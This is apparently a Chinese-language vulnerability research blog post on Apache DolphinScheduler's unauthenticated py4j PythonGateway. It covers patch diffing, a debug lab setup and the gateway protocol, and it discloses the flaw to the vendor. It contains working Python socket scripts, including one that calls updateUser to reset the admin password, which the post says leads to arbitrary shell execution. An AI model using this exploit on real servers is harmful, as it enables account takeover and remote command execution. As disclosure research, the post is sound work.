前言

挺早之前有个Apache DolphinScheduler 读取,之前有看过这个,后面又有好兄弟问问问我,就研究了一下。本来简单的diff了一下,以为发现了问题,但是事情没有我想的那么简单~

漏洞研究

diff分析

图片.png
看漏洞是在2.0.6修复的,我们之切换到该分支
image-20221103172243740
看到这里增加了资源中心的检查,应该就是这里了。
image-20221103172352691
看到在ResourcesServiceImpl.java
增加了文件校验,这个类继承了resourcesService,看下谁使用了,
image-20221103172534549
emm,ResourcesController.java 使用了这个类,直接跟进去,
image-20221103172629247
哈哈,被逮到了吧,但是逛了一圈,发现都是需要登录权限的,这和官方通知的未授权不一样呀。顿时没了思路。
image-20221103172716997
再翻一番,看什么地方使用了ResourcesService
image-20221103172817392
发现在PythonGateway.java中使用了 ,但是并不知道这里PythonGateway实现什么功能,只能翻翻文档了
https://dolphinscheduler.apache.org/python/main/index.html
是一个Python Api,文档中还给了快速开始的方法。
image-20221103172934570
看来还是不能图懒。搭建环境吧。

环境搭建

参考官方的docker 快速搭建
https://dolphinscheduler.apache.org/en-us/docs/latest/user_doc/guide/start/docker.html
使用下面镜像
https://hub.docker.com/search?q=dolphinscheduler
image-20221103173229960
使用如下的tag
image-20221103173254663
5个月之前,漏洞还存在。

docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d   镜像id

9898 是我后面加上的,为了后面的调试
之后将镜像中的

/opt/dolphinscheduler/bin/start.sh

JAVA_OPTS 配置修改成如下,加上调试

JAVA_OPTS=${JAVA_OPTS:-"-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9898  -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}

然后重启镜像即可
image-20221103174302363

PythonGateway

进入官方说明文档
https://dolphinscheduler.apache.org/python/dev/start.html
image-20221103173857041
看到要先安装PyDolphinScheduler
安装后官方给了几个案例
https://github.com/apache/dolphinscheduler/tree/2.0.5/dolphinscheduler-python/pydolphinscheduler/src/pydolphinscheduler/examples
我们运行下,这里说明下
配置中默认链接ip是127.0.0.1(通过报错也知道25333就是PythonGateway的对外端口),所以如果是虚拟机搭建的换还得重新配置目标ip
image-20221103174115772
命令如下:

pydolphinscheduler config --init
pydolphinscheduler config --set java_gateway.address <YOUR-API-SERVER-IP-OR-HOSTNAME>

运行案例,还是报错了
image-20221103174229892
emmm,还是调试来看吧
在py4j.commands.CallCommand#execute 加上断点。
image-20221103174606331
跟进看为什么报错吧
image-20221103174656529
org.apache.dolphinscheduler.api.python.PythonGateway 中没有参数为3个的getCodeAndVersion方法,
image-20221103174752771
emmm 只有两个的。
可惜我半天没有找到怎么在python脚本中构造调用方法,但是在代码中看数据构造比较简单,就是一个reader
image.png

再次运行python脚本,用wireshark抓包看下
image-20221103174901682
这里看着构造还是比较简单的,
首先进入了py4j.GatewayConnection#run
image-20221219112239134
发现如果this.authCommand 存在则判断是否校验过权限
image-20221219112343228
但是这里不存在authCommand ,搜了一下,如果以默认方式启动py4j是没有安全权限校验的,如果启动方式如下:

 JavaGateway(gateway_parameters=GatewayParameters(port=11111,auth_token="HelloWorld"))

则会加上auth_token校验。
在py4j.Protocol#getObject 中,我们可以看到不同类型参数数据的构造
image-20221219111727786
如果是字符型,在字符前加上一个s就行,int类型则是i,其他类型相对应的构造即可
接着在py4j.commands.AbstractCommand#invokeMethod 中便根据方法名及参数进行调用
image-20221219141047973
根据wireshark抓的包,我们构造python脚本如下:

import socket
client = socket.socket()
client.connect(('192.168.58.128',25333))
data = '''c
t
getCodeAndVersion
sproject-pydolphin
sHttp
stask
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())

image-20221103175007051
成功请求,
改下请求参数的数量
image-20221103175119397
image-20221103175109126
成功调用功能。
下面来调用getResourcesFileInfo
image-20221219112038273
这是仔细看了下这里的功能,并不是根据fullName来找文件,而是先获取文件列表再根据fullName找到相应文件,这里并不是漏洞点,感情跟了半天跟歪了。。。。。。。。。。。。。。。
再在github中往上翻翻提交记录
image-20221219105120454
果然跟歪了,思考了半天人生。
但是我这里跟的地方是否在最新版也存在同样的问题呢?
image-20221219105351192
在最新版果然也没有加上登录凭证。
看下此处后续有什么利用的方法,在最新版中发现存在修改用户的功能,
image-20221219105626823
构造数据包如下

import socket
client = socket.socket()
client.connect(('192.168.58.128',25333))#Destination ip address and port number
data = '''c
t
updateUser
sadmin
sdolphinscheduler1234 
stest@qq.com
s17823336543
stest
stest
i1
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())

使用admin/dolphinscheduler1234 成功进入管理员后台,管理员信息已经更新了。
image-20221219105756033
由于这是个任务调度平台,多种执行命令的方式,我们可以执行任意shell脚本
image-20221219105809186
image-20221219105830376

漏洞修复

发现这个问题后我提交给官方了,一周后漏洞修复了,心里美滋滋以为收获一发CVE,结果一直没消息,等了一个月后又发了邮件,回复如下:
image-20221219110059039
明明是我先提再修的,嘤嘤嘤,想申请个CVE可真难。
image-20221219110231138
最新版已经加上了authToken了。

Process finished with exit code 0